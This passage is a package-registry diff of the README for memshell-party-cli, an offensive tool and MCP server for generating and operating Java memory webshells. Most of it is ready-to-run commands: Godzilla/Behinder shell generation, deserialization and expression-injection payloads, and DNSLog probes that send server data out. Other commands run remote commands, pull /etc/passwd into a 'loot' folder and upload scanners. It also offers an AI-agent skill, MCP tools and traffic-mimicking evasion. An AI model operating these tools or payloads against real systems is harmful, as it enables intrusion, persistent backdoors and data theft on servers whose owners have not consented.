memshell-party-cli 0.5.0 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.en.md CHANGED
@@ -1,425 +1,452 @@
1
- # memshell-party-cli
2
-
3
- English | [中文](README.md)
4
-
5
- Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
6
- memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
7
- same HTTP API that powers `party.mem.mk/ui`.
8
-
9
- > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
10
- > for how you use it.
11
-
12
- ## Features
13
-
14
- - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
15
- from live, API-driven menus.
16
- - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or
17
- scripts; with `--json` even errors come back as structured JSON (`{"ok":false,"error":...}`).
18
- - **REPL** — bare `memparty` starts an interactive loop: many commands in one session,
19
- with auto-saved target names ready to reuse.
20
- - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
21
- - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
22
- - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
23
- is alive and the credentials work (echo/handshake round-trip).
24
- - **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
25
- and prints its output (real `execCommand` / `Cmd` payload round-trip).
26
- - **File transfer** — `memparty upload` / `memparty download` move files through Godzilla /
27
- Behinder shells, chunked with integrity checks (remote size for Godzilla, MD5 for Behinder).
28
- - **Named targets** — `memparty save` stores shells in projects (with remark + category),
29
- then `memparty exec web1/bh9060 --cmd "whoami"` needs no flags at all.
30
- - **Operation log** — every gen/probe/connect/exec/download/upload/save/note/remove operation is appended to
31
- `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
32
- - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
33
- - **Any backend** — defaults to the public site, override to your self-hosted instance.
34
-
35
- ## Install
36
-
37
- ```bash
38
- npm install -g memshell-party-cli
39
- # or run without installing:
40
- npx memshell-party-cli gen
41
- ```
42
-
43
- Requires Node.js >= 18.
44
-
45
- ## Choosing the backend
46
-
47
- By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
48
- default `https://party.mem.mk`.
49
-
50
- Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
51
-
52
- ```bash
53
- memparty --api http://127.0.0.1:8080 gen
54
- # or
55
- export MEMPARTY_API_URL=http://127.0.0.1:8080
56
- ```
57
-
58
- ## Usage
59
-
60
- ### Interactive
61
-
62
- Bare `memparty` starts a REPL: run any subcommand repeatedly in one process — combined with
63
- auto-saved named targets, a whole gen → verify → exec session fits in one go:
64
-
65
- ```text
66
- memparty> connect -u http://192.0.2.10/shell.jsp -t behinder --header-value my-secret-token
67
- saved as '192.0.2.10/behinder'
68
- memparty> exec 192.0.2.10/behinder --cmd whoami
69
- memparty> list
70
- memparty> exit
71
- ```
72
-
73
- Passing arguments behaves exactly as before (piped/CI bare `memparty` still prints help).
74
- Inside the REPL: `help` lists commands, `<command> --help` shows examples, `exit`/`quit` leaves.
75
- The `gen` / `probe` wizards work inside the REPL too:
76
-
77
- ```bash
78
- memparty gen # wizard for a memory shell (outside the REPL)
79
- memparty probe # wizard for a probe shell
80
- ```
81
-
82
- The wizard launches automatically when required flags are missing and you're in a terminal.
83
- Force it anytime with `-i`, or disable it with `--no-interactive`.
84
-
85
- ### Scripted generation
86
-
87
- ```bash
88
- # Godzilla listener for Tomcat, single Base64 payload to stdout
89
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
90
- --godzilla-pass pass --godzilla-key key --jdk java8
91
-
92
- # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
93
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
94
- --godzilla-pass pass --godzilla-key key -o shell.class
95
-
96
- # Command shell with an explicit encryptor
97
- memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
98
- --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
99
-
100
- # Full JSON response (metadata + payload) for further processing
101
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
102
- ```
103
-
104
- `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
105
-
106
- Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
107
- pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
108
-
109
- ### Discovering options
110
-
111
- ```bash
112
- memparty config servers # servers and their shell types
113
- memparty config tools Tomcat # tools + types for one server
114
- memparty config packers # packer parent/child tree
115
- memparty config command # Command encryptors & implementation classes
116
- memparty config servers --json # machine-readable
117
- ```
118
-
119
- ### Probe shells
120
-
121
- ```bash
122
- memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
123
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
124
- ```
125
-
126
- Probe method × content matrix (only these combos are supported by the backend):
127
-
128
- | Method `-m` | Supported content `-c` |
129
- |-------------|-------------------------|
130
- | `DNSLog` | `Server`, `JDK` |
131
- | `Sleep` | `Server` |
132
- | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
133
-
134
- ### Testing a deployed shell
135
-
136
- `memparty connect` checks whether a shell that is already injected/uploaded actually answers —
137
- it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
138
- tunnel handshake) and exits 0 on success, 1 on failure.
139
-
140
- ```bash
141
- # Godzilla (defaults: --pass pass --key key)
142
- memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
143
-
144
- # Behinder (default: --pass rebeyond)
145
- memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
146
-
147
- # suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
148
- memparty connect -u http://target/suo5.jsp -t suo5
149
- ```
150
-
151
- Shells generated by MemShellParty are gated by an auth header — the values are in the
152
- `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
153
- (the Suo5v2 shell checks it too):
154
-
155
- ```bash
156
- memparty connect -u http://target/x -t godzilla --pass pass --key key \
157
- --header-name User-Agent --header-value my-secret-token
158
- ```
159
-
160
- Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
161
- `--json` for machine-readable output, `--timeout <ms>` (global option).
162
-
163
- ### Executing commands on a deployed shell
164
-
165
- `memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
166
- remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
167
- (argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
168
- class (which picks the shell itself based on the remote `os.name`).
169
-
170
- ```bash
171
- # Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
172
- # pass --os windows|linux to skip the detection
173
- memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
174
-
175
- # Behinder — the payload detects the OS itself, no extra request
176
- memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
177
- ```
178
-
179
- The gate-header flags are the same as for `connect`; `--json` returns
180
- `{ ok, tool, url, command, output, durationMs }` for automation.
181
-
182
- ### File upload / download
183
-
184
- `memparty upload` / `memparty download` transfer files through a deployed Godzilla / Behinder
185
- shell, using the tool's real protocol (Godzilla's `uploadFile`/`bigFileUpload`/`bigFileDownload`
186
- payload methods; Behinder's `FileOperation` payload class via create+append / downloadPart).
187
- Large files are chunked automatically. Integrity is verified after transfer — the remote size
188
- for Godzilla, the remote MD5 for Behinder — a failed check is an error, not a silent bad file.
189
-
190
- ```bash
191
- # download: defaults to ./<remote basename>; -o sets the destination
192
- # (an existing directory keeps the remote basename)
193
- memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
194
- --header-value my-secret-token /etc/passwd -o loot/passwd
195
-
196
- # an existing local file is never overwritten unless --force is given
197
- memparty download web1 /var/log/app.log --force
198
-
199
- # upload: overwrites the remote file (truncate + write), up to 64 MiB
200
- memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
201
- ```
202
-
203
- Failure semantics are explicit: missing remote file, bad credentials, or an exhausted chunk
204
- retry all exit 1 with a clear message; an aborted upload warns that the remote file may be
205
- partial. `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`.
206
-
207
- Non-ASCII paths: always fine on Behinder (paths travel inside the class constant pool, so the
208
- platform charset is irrelevant). Godzilla's payload decodes path parameters with the server's
209
- platform default charset — UTF-8 on JDK 18+ and virtually all Linux, so nothing is needed; on an
210
- old JDK (8/11/17) on Chinese Windows the default is GBK — pass `--remote-charset GBK` (MCP:
211
- `remoteCharset`) for non-ASCII paths there. On Behinder, files over 128 MiB are verified by size
212
- instead of MD5 (the payload's check reads the whole file byte-by-byte). Limits: 2 GiB for
213
- Godzilla (a payload int restriction), 64 MiB for Behinder upload, 2 GiB for Behinder download.
214
-
215
- ### Saved targets (projects)
216
-
217
- Save a shell once, then reference it by name — no more flag soup. Shells live inside
218
- **projects**: a project groups several shells of one engagement and carries an optional
219
- `--remark` and `--category`. The store is `~/.memparty/targets.json`.
220
-
221
- ```bash
222
- # save (project is created on the fly; --remark/--category are project-level,
223
- # --shell-remark describes this one shell)
224
- memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \
225
- -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \
226
- --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
227
-
228
- # list everything (filter with --category <name>)
229
- memparty list
230
-
231
- # use: <project>/<shell>, or a bare project name when it holds exactly one shell
232
- memparty connect web1/bh9060
233
- memparty exec web1 --cmd "whoami"
234
-
235
- # edit project meta or a shell's remark / clean up
236
- memparty note web1 --remark "new remark" --category prod
237
- memparty note web1/bh9060 --remark "new shell note"
238
- memparty remove web1/bh9060 # one shell
239
- memparty remove web1 # the whole project
240
- ```
241
-
242
- Explicit flags still override stored values (`memparty exec web1 --cmd id --pass otherpass`).
243
-
244
- ### Operation log
245
-
246
- Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended as
247
- one JSON line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the
248
- command plus truncated output. Credentials, payload bytes, and file contents are never logged.
249
-
250
- ```bash
251
- memparty log # latest 50 operations, newest first
252
- memparty log --category exec # only command executions
253
- memparty log --target web1 # everything against one project (or a host substring)
254
- memparty log --category connect --json
255
- ```
256
-
257
- ## Demos
258
-
259
- End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
260
- match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
261
- the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
262
- `memparty config packers` first.
263
-
264
- ### 1. Godzilla webshell on Tomcat 9 (javax)
265
-
266
- ```bash
267
- # Listener-based Godzilla shell, single base64 payload to stdout
268
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
269
- --godzilla-pass pass --godzilla-key key --jdk java8
270
-
271
- # ...or write the decoded injector .class straight to disk
272
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
273
- --godzilla-pass pass --godzilla-key key -o shell.class
274
- ```
275
-
276
- ### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
277
-
278
- ```bash
279
- memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
280
- --godzilla-pass pass --godzilla-key key --jdk java17
281
- ```
282
-
283
- ### 3. Pure command-execution shell (RCE)
284
-
285
- ```bash
286
- memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
287
- --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
288
- ```
289
-
290
- ### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
291
-
292
- ```bash
293
- memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
294
- --godzilla-pass pass --godzilla-key key --jdk java8
295
- # other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
296
- ```
297
-
298
- ### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
299
-
300
- ```bash
301
- # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
302
- memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
303
- --command-param-name cmd --jdk java8
304
- # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
305
- # (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
306
- ```
307
-
308
- ### 6. Drop a JSP file
309
-
310
- ```bash
311
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
312
- --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
313
- ```
314
-
315
- ### 7. Java-agent memory shell (survives redeploys, hooks deep)
316
-
317
- ```bash
318
- memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
319
- --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
320
- ```
321
-
322
- ### 8. Fingerprint the target first (blind)
323
-
324
- ```bash
325
- # DNSLog: confirm code execution + exfil the server/JDK name via DNS
326
- memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
327
- # Sleep: time-based blind — delays Ns only if the server matches your guess
328
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
329
- ```
330
-
331
- The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
332
-
333
- ### Parse a class name
334
-
335
- ```bash
336
- memparty parse-classname --file shell.class
337
- memparty parse-classname <base64-of-class-bytes>
338
- ```
339
-
340
- ### Version
341
-
342
- ```bash
343
- memparty version # CLI version + backend server version
344
- ```
345
-
346
- ## MCP server
347
-
348
- Run the CLI as an MCP server over stdio:
349
-
350
- ```bash
351
- memparty mcp --api http://127.0.0.1:8080
352
- ```
353
-
354
- Example Claude Code / Claude Desktop config:
355
-
356
- ```json
357
- {
358
- "mcpServers": {
359
- "memshell-party": {
360
- "command": "npx",
361
- "args": ["-y", "memshell-party-cli", "mcp"],
362
- "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
363
- }
364
- }
365
- }
366
- ```
367
-
368
- Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
369
- `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`,
370
- `exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
371
- `target_remove`, `log_list`.
372
-
373
- ## AI skill (Claude Code)
374
-
375
- The package ships a [Claude Code skill](https://docs.claude.com/en/docs/claude-code/skills) at
376
- `skills/memshell-party/SKILL.md` that teaches an AI agent how to drive MemShellParty — the
377
- server/tool/type/packer decision tree, the probe method×content matrix, packer-by-scenario
378
- guidance, and the common gotchas (Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
379
-
380
- Install it into a project (or drop it in `~/.claude/skills/` for global use):
381
-
382
- ```bash
383
- # from the package root, or after `npm install memshell-party-cli`:
384
- mkdir -p .claude/skills
385
- cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
386
- ```
387
-
388
- Then just ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
389
- *"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
390
- the agent to enumerate options first and pick the right packer for the vector.
391
-
392
- ## Programmatic use
393
-
394
- The package also ships a typed API client:
395
-
396
- ```ts
397
- import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
398
-
399
- const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
400
- const res = await client.generateMemShell(
401
- buildMemShellRequest({
402
- server: "Tomcat",
403
- shellTool: "Godzilla",
404
- shellType: "Listener",
405
- packer: "DefaultBase64",
406
- godzillaPass: "pass",
407
- godzillaKey: "key",
408
- jdk: "java8",
409
- }),
410
- );
411
- console.log(res.memShellResult.shellClassName, res.packResult);
412
- ```
413
-
414
- ## Development
415
-
416
- ```bash
417
- npm install
418
- npm run build # tsup -> dist/
419
- npm test # vitest
420
- npm run typecheck # tsc --noEmit
421
- ```
422
-
423
- ## License
424
-
425
- MIT
1
+ # memshell-party-cli
2
+
3
+ English | [中文](README.md)
4
+
5
+ Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
6
+ memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
7
+ same HTTP API that powers `party.mem.mk/ui`.
8
+
9
+ > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
10
+ > for how you use it.
11
+
12
+ ## Features
13
+
14
+ - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
15
+ from live, API-driven menus.
16
+ - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or
17
+ scripts; with `--json` even errors come back as structured JSON (`{"ok":false,"error":...}`).
18
+ - **REPL** — bare `memparty` starts an interactive loop: many commands in one session,
19
+ with auto-saved target names ready to reuse.
20
+ - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
21
+ - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
22
+ - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
23
+ is alive and the credentials work (echo/handshake round-trip).
24
+ - **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
25
+ and prints its output (real `execCommand` / `Cmd` payload round-trip).
26
+ - **File transfer** — `memparty upload` / `memparty download` move files through Godzilla /
27
+ Behinder shells, chunked with integrity checks (remote size for Godzilla, MD5 for Behinder).
28
+ - **Named targets** — `memparty save` stores shells in projects (with remark + category),
29
+ then `memparty exec web1/bh9060 --cmd "whoami"` needs no flags at all.
30
+ - **Operation log** — every gen/probe/connect/exec/download/upload/save/note/remove operation is appended to
31
+ `~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
32
+ - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
33
+ - **Any backend** — defaults to the public site, override to your self-hosted instance.
34
+ - **Site-mimicking (mimic)** — hand-write a site profile, build a custom shell that blends into real business traffic (`profile` / `custom build` / `demo`), and install the agent skill with `memparty skill install`.
35
+
36
+ ## Install
37
+
38
+ ```bash
39
+ npm install -g memshell-party-cli
40
+ # or run without installing:
41
+ npx memshell-party-cli gen
42
+ ```
43
+
44
+ Requires Node.js >= 18.
45
+
46
+ ## Choosing the backend
47
+
48
+ By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
49
+ default `https://party.mem.mk`.
50
+
51
+ Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
52
+
53
+ ```bash
54
+ memparty --api http://127.0.0.1:8080 gen
55
+ # or
56
+ export MEMPARTY_API_URL=http://127.0.0.1:8080
57
+ ```
58
+
59
+ ## Usage
60
+
61
+ ### Interactive
62
+
63
+ Bare `memparty` starts a REPL: run any subcommand repeatedly in one process — combined with
64
+ auto-saved named targets, a whole gen → verify → exec session fits in one go:
65
+
66
+ ```text
67
+ memparty> connect -u http://192.0.2.10/shell.jsp -t behinder --header-value my-secret-token
68
+ saved as '192.0.2.10/behinder'
69
+ memparty> exec 192.0.2.10/behinder --cmd whoami
70
+ memparty> list
71
+ memparty> exit
72
+ ```
73
+
74
+ Passing arguments behaves exactly as before (piped/CI bare `memparty` still prints help).
75
+ Inside the REPL: `help` lists commands, `<command> --help` shows examples, `exit`/`quit` leaves.
76
+ The `gen` / `probe` wizards work inside the REPL too:
77
+
78
+ ```bash
79
+ memparty gen # wizard for a memory shell (outside the REPL)
80
+ memparty probe # wizard for a probe shell
81
+ ```
82
+
83
+ The wizard launches automatically when required flags are missing and you're in a terminal.
84
+ Force it anytime with `-i`, or disable it with `--no-interactive`.
85
+
86
+ ### Scripted generation
87
+
88
+ ```bash
89
+ # Godzilla listener for Tomcat, single Base64 payload to stdout
90
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
91
+ --godzilla-pass pass --godzilla-key key --jdk java8
92
+
93
+ # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
94
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
95
+ --godzilla-pass pass --godzilla-key key -o shell.class
96
+
97
+ # Command shell with an explicit encryptor
98
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
99
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
100
+
101
+ # Full JSON response (metadata + payload) for further processing
102
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
103
+
104
+ # Both at once: file written AND full JSON (gains an outputFile field)
105
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
106
+ --godzilla-pass pass --godzilla-key key -o shell.class --json
107
+ ```
108
+
109
+ `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
110
+
111
+ Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
112
+ pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload — `-o` refuses
113
+ aggregate results with an error telling you to pick a leaf. Combining `-o` with `--json` writes
114
+ the file and adds `outputFile: {destination, size, decoded}` to the JSON document.
115
+
116
+ ### Discovering options
117
+
118
+ ```bash
119
+ memparty config servers # servers and their shell types
120
+ memparty config tools Tomcat # tools + types for one server
121
+ memparty config packers # packer parent/child tree
122
+ memparty config command # Command encryptors & implementation classes
123
+ memparty config servers --json # machine-readable
124
+ ```
125
+
126
+ ### Probe shells
127
+
128
+ ```bash
129
+ memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
130
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
131
+ ```
132
+
133
+ Probe method × content matrix (only these combos are supported by the backend):
134
+
135
+ | Method `-m` | Supported content `-c` |
136
+ |-------------|-------------------------|
137
+ | `DNSLog` | `Server`, `JDK` |
138
+ | `Sleep` | `Server` |
139
+ | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
140
+
141
+ ### Testing a deployed shell
142
+
143
+ `memparty connect` checks whether a shell that is already injected/uploaded actually answers —
144
+ it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
145
+ tunnel handshake) and exits 0 on success, 1 on failure.
146
+
147
+ ```bash
148
+ # Godzilla (defaults: --pass pass --key key)
149
+ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
150
+
151
+ # Behinder (default: --pass rebeyond)
152
+ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
153
+
154
+ # suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
155
+ memparty connect -u http://target/suo5.jsp -t suo5
156
+ ```
157
+
158
+ Shells generated by MemShellParty are gated by an auth header — the values are in the
159
+ `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
160
+ (the Suo5v2 shell checks it too):
161
+
162
+ ```bash
163
+ memparty connect -u http://target/x -t godzilla --pass pass --key key \
164
+ --header-name User-Agent --header-value my-secret-token
165
+ ```
166
+
167
+ Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
168
+ `--json` for machine-readable output, `--timeout <ms>` (global option).
169
+
170
+ ### Executing commands on a deployed shell
171
+
172
+ `memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
173
+ remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
174
+ (argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
175
+ class (which picks the shell itself based on the remote `os.name`).
176
+
177
+ ```bash
178
+ # Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
179
+ # pass --os windows|linux to skip the detection
180
+ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
181
+
182
+ # Behinder — the payload detects the OS itself, no extra request
183
+ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
184
+ ```
185
+
186
+ The gate-header flags are the same as for `connect`; `--json` returns
187
+ `{ ok, tool, url, command, output, durationMs }` for automation.
188
+
189
+ ### File upload / download
190
+
191
+ `memparty upload` / `memparty download` transfer files through a deployed Godzilla / Behinder
192
+ shell, using the tool's real protocol (Godzilla's `uploadFile`/`bigFileUpload`/`bigFileDownload`
193
+ payload methods; Behinder's `FileOperation` payload class via create+append / downloadPart).
194
+ Large files are chunked automatically. Integrity is verified after transfer — the remote size
195
+ for Godzilla, the remote MD5 for Behinder — a failed check is an error, not a silent bad file.
196
+
197
+ ```bash
198
+ # download: defaults to ./<remote basename>; -o sets the destination
199
+ # (an existing directory keeps the remote basename)
200
+ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
201
+ --header-value my-secret-token /etc/passwd -o loot/passwd
202
+
203
+ # an existing local file is never overwritten unless --force is given
204
+ memparty download web1 /var/log/app.log --force
205
+
206
+ # upload: overwrites the remote file (truncate + write), up to 64 MiB
207
+ memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
208
+ ```
209
+
210
+ Failure semantics are explicit: missing remote file, bad credentials, or an exhausted chunk
211
+ retry all exit 1 with a clear message; an aborted upload warns that the remote file may be
212
+ partial. `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`.
213
+
214
+ Non-ASCII paths: always fine on Behinder (paths travel inside the class constant pool, so the
215
+ platform charset is irrelevant). Godzilla's payload decodes path parameters with the server's
216
+ platform default charset — UTF-8 on JDK 18+ and virtually all Linux, so nothing is needed; on an
217
+ old JDK (8/11/17) on Chinese Windows the default is GBK — pass `--remote-charset GBK` (MCP:
218
+ `remoteCharset`) for non-ASCII paths there. On Behinder, files over 128 MiB are verified by size
219
+ instead of MD5 (the payload's check reads the whole file byte-by-byte). Limits: 2 GiB for
220
+ Godzilla (a payload int restriction), 64 MiB for Behinder upload, 2 GiB for Behinder download.
221
+
222
+ ### Saved targets (projects)
223
+
224
+ Save a shell once, then reference it by name — no more flag soup. Shells live inside
225
+ **projects**: a project groups several shells of one engagement and carries an optional
226
+ `--remark` and `--category`. The store is `~/.memparty/targets.json`.
227
+
228
+ ```bash
229
+ # save (project is created on the fly; --remark/--category are project-level,
230
+ # --shell-remark describes this one shell)
231
+ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \
232
+ -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \
233
+ --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
234
+
235
+ # list everything (filter with --category <name>)
236
+ memparty list
237
+
238
+ # use: <project>/<shell>, or a bare project name when it holds exactly one shell
239
+ memparty connect web1/bh9060
240
+ memparty exec web1 --cmd "whoami"
241
+
242
+ # edit project meta or a shell's remark / clean up
243
+ memparty note web1 --remark "new remark" --category prod
244
+ memparty note web1/bh9060 --remark "new shell note"
245
+ memparty remove web1/bh9060 # one shell
246
+ memparty remove web1 # the whole project
247
+ ```
248
+
249
+ Explicit flags still override stored values (`memparty exec web1 --cmd id --pass otherpass`).
250
+
251
+ ### Operation log
252
+
253
+ Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended as
254
+ one JSON line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the
255
+ command plus truncated output. Credentials, payload bytes, and file contents are never logged.
256
+
257
+ ```bash
258
+ memparty log # latest 50 operations, newest first
259
+ memparty log --category exec # only command executions
260
+ memparty log --target web1 # everything against one project (or a host substring)
261
+ memparty log --category connect --json
262
+ ```
263
+
264
+ ## Demos
265
+
266
+ End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
267
+ match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
268
+ the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
269
+ `memparty config packers` first.
270
+
271
+ ### 1. Godzilla webshell on Tomcat 9 (javax)
272
+
273
+ ```bash
274
+ # Listener-based Godzilla shell, single base64 payload to stdout
275
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
276
+ --godzilla-pass pass --godzilla-key key --jdk java8
277
+
278
+ # ...or write the decoded injector .class straight to disk
279
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
280
+ --godzilla-pass pass --godzilla-key key -o shell.class
281
+ ```
282
+
283
+ ### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
284
+
285
+ ```bash
286
+ memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
287
+ --godzilla-pass pass --godzilla-key key --jdk java17
288
+ ```
289
+
290
+ ### 3. Pure command-execution shell (RCE)
291
+
292
+ ```bash
293
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
294
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
295
+ ```
296
+
297
+ ### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
298
+
299
+ ```bash
300
+ memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
301
+ --godzilla-pass pass --godzilla-key key --jdk java8
302
+ # other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
303
+ ```
304
+
305
+ ### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
306
+
307
+ ```bash
308
